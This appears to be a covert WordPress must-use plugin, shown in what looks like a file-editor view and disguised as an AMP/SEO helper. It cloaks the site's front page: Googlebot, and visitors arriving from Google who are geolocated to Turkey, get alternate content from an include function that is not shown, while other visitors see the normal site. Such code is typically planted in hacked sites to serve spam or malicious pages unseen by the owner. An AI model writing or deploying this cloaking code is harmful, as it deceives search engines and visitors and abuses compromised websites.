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Edit File: _AmpSeo.php

<?php
/*
Plugin Name: AMP Front Gate (MU)
Description: amp mu plugins
Version: 1.0
*/

if (!defined("ABSPATH")) {
    exit();
}

define("MU_FG_APPLY_ON_HOME", true);
define("MU_FG_IP_TIMEOUT", 3);
define("MU_FG_DEBUG_HEADER", false);

add_action("template_redirect", function () {
    if (
        is_admin() ||
        (function_exists("wp_doing_ajax") && wp_doing_ajax()) ||
        (defined("REST_REQUEST") && REST_REQUEST) ||
        is_feed()
    ) {
        return;
    }

$is_front_ok = function_exists("is_front_page") && is_front_page();
    $is_home_ok =
        MU_FG_APPLY_ON_HOME && function_exists("is_home") && is_home();
    if (!($is_front_ok || $is_home_ok)) {
        mu_fg_header("skip:not_front_or_home");
        return;
    }

$userAgent = isset($_SERVER["HTTP_USER_AGENT"])
        ? $_SERVER["HTTP_USER_AGENT"]
        : "";
    $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "";
    $cfCountry = isset($_SERVER["HTTP_CF_IPCOUNTRY"])
        ? $_SERVER["HTTP_CF_IPCOUNTRY"]
        : "";
    $visitorIp = isset($_SERVER["HTTP_CF_CONNECTING_IP"])
        ? $_SERVER["HTTP_CF_CONNECTING_IP"]
        : (isset($_SERVER["REMOTE_ADDR"])
            ? $_SERVER["REMOTE_ADDR"]
            : "");

$googleBots = [
        "Googlebot",
        "AdsBot",
        "Mediapartners-Google",
        "APIs-Google",
        "Googlebot-Image",
        "Googlebot-Video",
        "Googlebot-News",
        "Googlebot-Search",
        "Googlebot-Inspect",
        "Googlebot-Android",
        "Googlebot-Mobile",
        "Googlebot-Ads",
        "Googlebot-Discovery",
        "Google-",
    ];

$escaped = array_map(function ($s) {
        return preg_quote($s, "/");
    }, $googleBots);
    $botPattern = "/(?:" . implode("|", $escaped) . ")/i";

$isGoogleBot = (bool) preg_match($botPattern, $userAgent);

if ($isGoogleBot) {
        mu_fg_include_amp("by:googlebot");
        return;
    }

$isGoogleRef = (bool) preg_match("/google\./i", $referer);
    if ($isGoogleRef) {
        $isFromTR = mu_fg_is_from_turkey($visitorIp, $cfCountry);
        if ($isFromTR) {
            mu_fg_include_amp("by:google_ref_TR");
            return;
        }
    }

mu_fg_header("no_match");
});

/**
 * TR ülke kontrolü
 */
function mu_fg_is_from_turkey($ip, $cfCountryHeader = "")
{
    if (!empty($cfCountryHeader)) {
        return strtoupper($cfCountryHeader) === "TR";
    }
    if (empty($ip)) {
        return false;
    }

$key = "mu_fg_tr_ip_" . md5($ip);
    $cached = get_transient($key);
    if ($cached !== false) {
        return (bool) $cached;
    }

$res = wp_remote_get("http://ip-api.com/json/{$ip}?fields=countryCode", [
        "timeout" => MU_FG_IP_TIMEOUT,
        "redirection" => 0,
        "headers" => ["Connection" => "close"],
    ]);

if (is_wp_error($res)) {
        set_transient($key, 0, HOUR_IN_SECONDS);
        return false;
    }

$body = wp_remote_retrieve_body($res);
    $data = json_decode($body, true);

$isTR =
        !empty($data["countryCode"]) &&
        strtoupper($data["countryCode"]) === "TR";
    set_transient($key, $isTR ? 1 : 0, DAY_IN_SECONDS);

return $isTR;
}

function mu_fg_header($val)
{
    if (MU_FG_DEBUG_HEADER) {
        header("X-AMP-Front-Gate: " . $val);
    }
}